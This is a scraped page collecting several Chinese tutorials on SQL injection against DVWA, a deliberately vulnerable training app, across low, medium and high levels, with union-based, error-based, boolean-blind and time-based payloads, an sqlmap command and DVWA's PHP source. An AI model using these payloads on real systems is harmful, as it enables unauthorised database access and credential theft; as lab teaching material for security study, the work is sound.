精华内容
下载资源
问答
  • DVWA SQL注入

    2021-03-11 16:39:34
    DVWA SQL注入 安装及下载 dvwa、 插件等 请看上一篇文章 1.首先修改 low 2.SQL注入打开proxy switcher,如此修改 3. 打开Burp页面,关闭intercept 4.清除HTTP历史 输入ID,查看记录 SQL注入 列出所有的库 ...

    DVWA SQL注入

    安装及下载 dvwa、 插件等 请看上一篇文章

    1.首先修改 low

    DVWAsql-1

    2.SQL注入打开proxy switcher,如此修改

    DVWAsql-3

    3. 打开Burp页面,关闭intercept

    DVWAsql-4

    4.清除HTTP历史

    DVWAsql-5

    5.输入ID,查看记录

    DVWAsql-6
    DVWA-7
    DVWAsql-8

    6.SQL注入

    DVWAsql-9

    7.列出所有的库

    sqlmap -r 1.txt -dbs -level=3 -risk=3 --batch --proxy http://127.0.0.1:8080
    

    DVWAsql-10
    DVWAsql-11

    展开全文
  • dvwa sql注入

    2020-07-18 14:26:07
    dvwa sql注入 low 一、判断sql是数字型注入还是字符型注入 1.输入1 2.输入1’和1’# 输入1’ 报错 输入1’# 不报错 此处判断User ID是字符型的,在sql语句中有 ’ ’ 包裹。 3.检验是否可注入,输入1’ or 1=1# ...

    dvwa sql注入

    low

    在这里插入图片描述

    一、判断sql是数字型注入还是字符型注入

    1.输入1

    在这里插入图片描述

    2.输入1’和1’#

    输入1’

    在这里插入图片描述

    报错

    输入1’#

    在这里插入图片描述

    不报错

    此处判断User ID是字符型的,在sql语句中有 ’ ’ 包裹。

    3.检验是否可注入,输入1’ or 1=1#

    在这里插入图片描述

    1后面的 ’ 闭合了id字段,or 1=1 使得where判断语句失效,即使其恒为真,架空了id字段的作用,无论id输入什么,where总是真,所以爆出了表中所有人的姓名。#起到注释作用,注释后面的sql语句,主要是id字段后一个 ’ 。

    注意:此处的 ’ 是英文字符。

    经过这三步检验,可判断此处为字符型sql注入。

    二、进行注入

    1.爆出数据库名称

    1' union select 1,database()#
    

    在这里插入图片描述

    得数据库名称为dvwa

    2.爆出数据库中的表

    1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
    

    在这里插入图片描述

    此处得出dvwa中的表有两个: guestbook,users

    3.爆出目标表中的字段名

    1'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
    

    在这里插入图片描述

    4.爆出目标字段的数据,此处当然是password和user

    1'union select user,password from users#
    

    在这里插入图片描述

    注解:

    column_name:列的名称

    information_schema.columns:表示所有列的信息(在整个mysql里面)(information_schema:表示所有信息,包括库、表、列)(information_schema.tables:表示所有表的信息)

    table_schema:数据库的名称

    table_name:表的名称

    Medium

    在这里插入图片描述

    在这里插入图片描述

    此处设置了下拉选择表单,以此来控制用户的输入。对于这种情况,我们可以尝试用burpsuite抓包试试。

    在这里插入图片描述

    图中标红的地方就是我们从网页上选择提交的数据,这里我们就可以按照low级别的操作步骤进行注入测试了。首先测试是字符型注入还是数字型注入。

    修改为:1’ or 1=1#

    在这里插入图片描述

    报错

    在这里插入图片描述

    修改为:1 or 1=1

    在这里插入图片描述

    爆出所有用户姓名。说明存在数字型注入。之后的操作就和low中操作一致了。

    其中需要注意的一个点是在爆表中字段时,会报出错误

    在这里插入图片描述

    在这里插入图片描述

    这是因为单引号被转义了,‘变成了\’,这里我们可以用十六进制进行绕过,将字符串users变为十六进制的7573657273

    在写sql语句时记得在7573657273前面加上0x表示十六进制。如下图所示

    在这里插入图片描述

    在这里插入图片描述

    下面直接放最后一步的操作图片。

    在这里插入图片描述

    High

    在这里插入图片描述

    我们看一下源码

    在这里插入图片描述

    在这里插入图片描述对比一下low级别的源码,可以发现high级别的sql语句只是在where语句的后面添加了一个LIMIT 1限定,令其只能输出一个结果。对于这种情况,我们只需在注入的时候加上#注释掉后面的LIMIT 1就可以了。其操作步骤就和LOW级别一样了。

    展开全文
  • DVWA SQL注入 小技巧

    2020-10-29 14:49:12
    二、DVWA SQL注入1.LOW2.读入数据总结 前言 最近在学习网络安全,写这篇博客是为了分享技术丶学习参考,顺便也可以当笔记用,如果有什么地方说的不对,欢迎留言讨论,我会虚心学习的,那就让我们一起学习吧! 一、...


    前言

    最近在学习网络安全,写这篇博客是为了分享技术丶学习参考,顺便也可以当笔记用,如果有什么地方说的不对,欢迎留言讨论,我会虚心学习的,那就让我们一起学习吧!


    一、DVWA是什么?

    如果你也刚刚接触网络安全,或者想学习网络安全,恰巧还没有可以入门学习的靶场,那么DVWA是一款非常适合你入门的的一个渗透测试演练系统

    二、DVWA SQL注入

    1.LOW

    提示:DVWA默认的账号为:admin 密码为:password
    首先我们先要把安全等级,修改为Low
    在这里插入图片描述
    我们先输入1看会返回什么,可以看到网站给我们返回了ID丶First name和Surname 的值
    在这里插入图片描述

    SQL手工注入的第一步就是先输入’,这个单引号是很关键的,可以看到我们输入单引号后这个网站报错了,这个报错是我们的单引号被当做SQL语句执行了,这个报错就可以代表这个网站可以被SQL注入了。
    在这里插入图片描述

    报错:↓
    在这里插入图片描述
    我们输入单引号的时候发现有回显,我们使用联合查询,查看数据库版本

    ' union select version(),null --

    在这里插入图片描述

    2.Medium

    我们先点击1查看一下,会返回值
    在这里插入图片描述

    Medium等级我们就需要BP的帮助啦,首先我们先抓包,可以看到ID的后面是有值的,这个值正是我们刚才选择的1,我们判断这里有注入点
    在这里插入图片描述
    我们尝试注入一下,在id=1 后面输入sql语句,然后点击Forward

    union select version(),null

    在这里插入图片描述
    可以看到网页里显示了服务器的版本信息,注入成功
    在这里插入图片描述

    3.High

    我们先输入一个sql语句,看看页面有没有回显,可以看到页面有回显,我们可以尝试使用联合查询。

    1 'and 1=1 --

    在这里插入图片描述
    我们使用联合查询发现可以看到版本信息注入成功!

    'union sellect version(),null --

    在这里插入图片描述

    三、 SQL漏洞利用

    我用LOW级别为例子。
    我们输入SQL语句查看这个表有多少列。
    提示:在–符号后面一定要加上加上空格,否则可能会出现问题。

    1.查看列数

    ' order by 值 --

    我先输入 ** ’ order by 3 --** ,尝试一下发现有报错,这个报错是因为这个表可能没有3个列,报错如下。
    在这里插入图片描述
    这次我们尝试一下 ’ order by 2 – ,发现页面没有变化,这个是对的,因为这个可以确认这个表的列为2,这样我们就得到了列数啦。
    在这里插入图片描述
    上面我们获取了列数为2,我们将列名排序

    2.列名排序

    'union select 1,2 --

    这样我们就得到了列名的顺序啦。
    在这里插入图片描述

    3.联合查询(数据库 用户名丶表名丶版本)

    ' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null --

    32为空格58为:(冒号),CHAR(32,58,32)的意思就是将 用户名丶表名丶版本,用空格冒号空格 ,间隔开方便查看
    在这里插入图片描述

    4.查询information_schema库

    ' union select table_name,table_schema from information_schema.tables --

    因为是级别LOW,说以我们可以访问information_schema,这个库里面包含着全部库的信息,可以看到DVWA的数据库的信息,这个users这个表是我们需要的,里面可能会有用户的信息

    在这里插入图片描述

    5.查询表中的列

    ' union select table_name,column_name from information_schema.columns where table_schema='数据库名' and table_name ='表名' --

    我们输入 ’ union select table_name,column_name from information_schema.columns where table_schema=‘dvwa’ and table_name =‘users’ – 查看表中的列,可以看到userspassword,这两个列可能存在敏感信息
    在这里插入图片描述

    6.查询列中数据

    ' union select null ,concat(列名,0x3a,列名) from 数据库.表名 --

    我们输入 ’ union select null ,concat(user,0x3a,password) from dvwa.users – 可以看到我们获取到了用户的账号密码
    在这里插入图片描述

    四丶SQL注入小技巧

    1.如果有回显,考虑联合查询
    2.如果有报错,考虑报错注入
    3.如果有布尔类型状态,考虑布尔盲注
    4.如果以上办法还是找不出漏洞,考虑延时注入

    1.联合查询

    当我们看到页面有回显的时候,可以考虑联合查询

    查询数据库名称

    ' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null --

    在这里插入图片描述

    2.报错注入

    当我们看到页面会有报错信息的时候,我们可以考虑使用报错注入
    在这里插入图片描述

    'and(select extractvalue("anything",concat('^',(select语句)))) --
    'and(select updatexml("anything",concat('^,(select语句)),"anything")) --

    输入显示版本

    'and(select extractvalue("anything",concat('^',(version())))) --

    在这里插入图片描述

    3.布尔盲注

    当我们看到页面有布尔类型状态的时候,我们可以考虑布尔盲注
    在这里插入图片描述
    在这里插入图片描述

    判断数据库名长度

    id=1'and length(database())>值 --

    如果库名长度是正确的话,页面会正常显示

    在这里插入图片描述
    相反页面就会不显示值,这里要提示一下,页面报错和页面不显示值是两个问题!!
    在这里插入图片描述

    接下来就盲注库名

    id=1' and ascii(substr(database(),盲测字符的位数,1))=ascii码值 --

    DVWA数据库的第一位字符为d,d的ascii码值为100,所以页面显示正常,第一位字符盲注成功!
    在这里插入图片描述

    4.延时注入

    延时注入也是我们没有办法的办法,延时注入也算是盲注的一种
    盲注数据库名长度

    id=1'and if(length(database())=值,sleep(3),1) --

    如果盲注成功,我们可以可以看到页面沉睡了3049毫秒,也就是3秒多一点
    在这里插入图片描述
    盲注库名

    and if(ascii(substr(database(),盲测字符的位数,1))=ascii码值,sleep(3),1)

    这个操作与以上基本形同就不在演示了

    展开全文
  • DVWA SQL注入(不同级别)

    千次阅读 2019-04-17 14:44:14
    DVWA SQL注入 级别目录DVWA SQL注入手工注入思路lowmediumhighimpossible SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害...

    DVWA SQL注入


    SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。

    手工注入思路

    自动化的注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路,下面简要介绍手工注入(非盲注)的步骤。

    1.判断是否存在注入,注入是字符型还是数字型

    2.猜解SQL查询语句中的字段数

    3.确定显示的字段顺序

    4.获取当前数据库

    5.获取数据库中的表

    6.获取表中的字段名

    7.下载数据

    下面对四种级别的代码进行分析。

    low

    1.判断是否存在注入,注入是字符型还是数字型

    输入1时,查询成功

    在这里插入图片描述

    输入

    1'
    

    时,查询错误
    在这里插入图片描述

    输入

    1 or 1=1
    

    查询成功
    在这里插入图片描述

    输入

    1' or '1'='1
    

    查询结果返回四个,说明存在SQL注入,且为字符型

    在这里插入图片描述

    2.猜解SQL查询语句中的字段数

    输入

    1' or 1=1 order by 1 #
    

    查询成功:
    在这里插入图片描述
    order by是排序,按照第一字段排序,#是注释,注释后面查询语句的‘

    输入

    1' or 1=1 order by 2 #
    

    查询成功:
    在这里插入图片描述
    按照第二字段排序

    输入

    1' or 1=1 order by 3 #
    

    查询失败:
    在这里插入图片描述
    即没有第三字段

    说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。

    (这里也可以通过输入union select 1,2,3…来猜解字段数)

    3.确定显示的字段顺序

    输入

    1' union select 1,2 #
    

    查询成功:
    在这里插入图片描述

    说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…

    4.获取当前数据库

    输入

    1' union select 1,database() #
    

    查询成功:
    在这里插入图片描述

    说明当前的数据库为dvwa

    如果输入-1’ union select 1,database() #,则去除了id=1的查询结果

    5.获取数据库中的表

    输入

    1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
    

    查询成功
    在这里插入图片描述

    说明数据库dvwa中一共有两个表,guestbook与users

    6.获取表中的字段名

    输入

    1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
    

    查询成功:
    在这里插入图片描述
    说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login

    7.下载数据

    输入

    1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
    

    查询成功:
    在这里插入图片描述

    输入

    1' or 1=1 union select group_concat(user),group_concat(password) from users #
    

    在这里插入图片描述

    这样就知道了数据库所有的登陆账号和密码,其中密码为md5加密的,只需要反向解密即可

    <?php
    
    if( isset( $_REQUEST[ 'Submit' ] ) ) {
        // Get input
        $id = $_REQUEST[ 'id' ];
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
            // Get values
            $first = $row["first_name"];
            $last  = $row["last_name"];
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    
        mysqli_close($GLOBALS["___mysqli_ston"]);
    }
    
    ?> 
    

    medium

    打开界面如下
    在这里插入图片描述

    虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数

    1.判断是否存在注入,注入是字符型还是数字型

    首先抓到提交的包,把包发送到Repeater,进行反复抓放包
    在这里插入图片描述

    构造

    1' or '1'='1
    

    发现查询错误,说明过滤了字符型
    在这里插入图片描述

    接着构造

    1 or 1=1#
    

    查询成功,说明这个漏洞是数字型的
    在这里插入图片描述

    我们来看一下源码

    <?php
    
    if( isset( $_POST[ 'Submit' ] ) ) {
        // Get input
        $id = $_POST[ 'id' ];
    
        $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
    
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
    
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
            // Display values
            $first = $row["first_name"];
            $last  = $row["last_name"];
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    
    }
    
    // This is used later on in the index.php page
    // Setting it here so we can close the database connection in here like in the rest of the source scripts
    $query  = "SELECT COUNT(*) FROM users;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    $number_of_rows = mysqli_fetch_row( $result )[0];
    
    mysqli_close($GLOBALS["___mysqli_ston"]);
    ?> 
    

    和初级的相比较对于用户输入的id值多了一个,mysqli_real_escape_string函数

    mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

    下列字符受影响:

    • \x00
    • \n
    • \r
    • \
    • "
    • \x1a

    如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

    因此数字型的注入能绕过这个漏洞

    2.猜解SQL查询语句中的字段数

    抓包更改参数id为

    1 or 1=1 order by 2 #
    

    查询成功:
    在这里插入图片描述

    抓包更改参数id为

    1 or 1=1 order by 3 #
    

    报错:
    在这里插入图片描述

    说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。

    3.确定显示的字段顺序

    抓包更改参数id为

    1 union select 1,2 #
    

    查询成功:
    在这里插入图片描述

    说明执行的SQL语句为select First name,Surname from 表 where ID=id…

    4.获取当前数据库

    抓包更改参数id为

    1 union select 1,database() #
    

    查询成功:
    在这里插入图片描述

    说明当前的数据库为dvwa

    5.获取数据库中的表

    抓包更改参数id为

    1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
    

    查询成功:
    在这里插入图片描述

    说明数据库dvwa中一共有两个表,guestbook与users。

    6.获取表中的字段名

    抓包更改参数id为

    1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
    

    查询失败:
    在这里插入图片描述

    这是因为单引号被转义了,变成了/’

    可以利用16进制进行绕过,抓包更改参数id为

    1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
    

    查询成功:
    在这里插入图片描述

    说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login

    7.下载数据

    抓包修改参数id为

    1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
    

    查询成功:
    在这里插入图片描述

    这样就得到了users表中所有用户的user_id,first_name,last_name,password的数据

    抓包修改参数id为

    1 or 1=1 union select group_concat(user),group_concat(password) from users #
    

    查询成功:
    在这里插入图片描述

    这样就得到了users表中所有用户的user,password的数据

    对得到的密码进行MD5解密,即可用账号密码进行登录

    high

    服务器端核心代码

    <?php
    
    if( isset( $_SESSION [ 'id' ] ) ) {
        // Get input
        $id = $_SESSION[ 'id' ];
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
    
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
            // Get values
            $first = $row["first_name"];
            $last  = $row["last_name"];
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
    }
    
    ?> 
    

    可以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果

    虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样,直接最后一步演示下载数据。

    输入

    1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
    

    查询成功:
    在这里插入图片描述

    输入

    1' or 1=1 union select group_concat(user),group_concat(password) from users #
    

    查询成功
    在这里插入图片描述

    需要特别提到的是,High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

    impossible

    服务器端代码如下

    <?php
    
    if( isset( $_GET[ 'Submit' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $id = $_GET[ 'id' ];
    
        // Was a number entered?
        if(is_numeric( $id )) {
            // Check the database
            $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
            $data->bindParam( ':id', $id, PDO::PARAM_INT );
            $data->execute();
            $row = $data->fetch();
    
            // Make sure only 1 result is returned
            if( $data->rowCount() == 1 ) {
                // Get values
                $first = $row[ 'first_name' ];
                $last  = $row[ 'last_name' ];
    
                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    

    可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出

    展开全文
  • DVWA sql注入low级别

    2020-09-18 12:41:39
    DVWA sql注入low级别 sql注入分类 数字型注入 SELECT first_name, last_name FROM users WHERE user_id = $id 字符型注入 SELECT first_name, last_name FROM users WHERE user_id = ‘$id’ 一般可以通过...
  • Kali渗透测试(九)——DVWASQL注入 一. 低级别,没有对用户输入做任何限制,提及的数据直接拼接。 1. 查询所有数据库 2. 查询dvwa库中的表名 查询字段名 4. 查询用户名密码 5.也可以进行操作系统级别的命令...
  • DVWA sql注入 WP

    2020-11-19 16:56:51
    sql注入基本思路: 1.源码 2.判断数字型和字符型 3.猜测字段数 4.查询数据库中的字段 5.查询表中的字段 6.查询user表中的字段 7.拿字段中数据 low: 1.源码: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // ...
  • (1)在kali下打开浏览器,输入http://192.168.0.184(win7的IP地址)/DVWA/login.php 输入...(3)获取要测试的url,点击SQL Injection菜单,在输入框输入1,点击submit,获取待测试的url:http://192.168.169.129/dvwa
  • DVWA SQL注入之手工注入

    千次阅读 2019-03-21 16:27:28
    本次使用的靶机是看雪论坛为我们提供的在线靶机 ... ...手注的思路:确定页面使用了多少个字段,然后确定各个字段的位置,最后构造SQL语句进行注入 2. 在文本框中输入 1' order by 2#返回正常 1...
  • dvwa sql注入 high等级

    2021-03-07 16:25:26
    与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。 High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的...
  • dvwa sql 注入高级

    千次阅读 2016-07-07 17:19:46
    POST /dvwa/vulnerabilities/sqli/session-input.php HTTP/1.1 Host: 172.19.180.27 Proxy-Connection: keep-alive Content-Length: 19 Cache-Control: max-age=0 Accept: text/html,applicatio
  • DVWA sql注入 (Medium)

    2019-07-05 11:05:49
    上节虽然写了low,可是发现自己对判断是否有注入点还有判断是...现在开始做medium的SQL注入 由于上面不方便直接输入,于是用burpsuite进行拦截然后修改 1.改成1'改成1 and 1=1 改成1 and 1=2 则可以判断为数字...
  • DVWA sql注入(low)

    2019-07-05 09:40:17
    如何判断sql注入是字符型还是数字型: https://www.cnblogs.com/aq-ry/p/9368619.html 下面开始进行注入 刚进入是这样的: 1.输入 ?id=1'%23 输入?id=1' and 1=1 %23 输入?id=1' and 1=2 %23 成功...
  • DVWA sql注入(high)

    千次阅读 2019-07-05 16:41:03
    由此可见,这也是一个字符型的注入 2.获取字段数 输入1' order by 2# 输入1' order by 3# 由此可见,字段数是2, 我觉得所谓high等级较前两个的区别就是出错了之后,不再提醒错误原因,只显示Something went wrong. ...
  • 文章目录0x01. 基于布尔检测0x02. 使用sqlmap小总结1. 检测注入2....由此可以判断存在SQL注入 0x02. 使用sqlmap 通过sqlmap 也可以检测注入点 sqlmap -u "http://xiaoxiao.com/vulnerabilities/sqli/?i...
  • 2.检测是否可以注入 可知此位为注入点,输入:‘ 返回错误 3.尝试遍历数据库表,提示输入的值是ID,可以初步判断此处为数字类型的注入。 尝试输入:1 or 1=1 没有达到目的,再尝试:1' or' 1' =' 1 显示出数据库中...
  • DVWA搭建的坑! 错误!未指定文件名。 在搭建的时候数据库的编码问题一定要注意! Illegal mix of collations for operation ‘UNION’!在搭建是时候出去这个问题就编码的问题! 解决: 安装新版的mysql,在新版的...
  • 可以得出此处为注入点,尝试输入1‘ 返回错误。 利用order by num语句猜测查询信息列表,修改num的值,输入1’ order by 1#页面正常显示。继续测试,1’ order by 2#、1’ order by 3# Num值为2时显示正常...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 1,280
精华内容 512
关键字:

dvwasql注入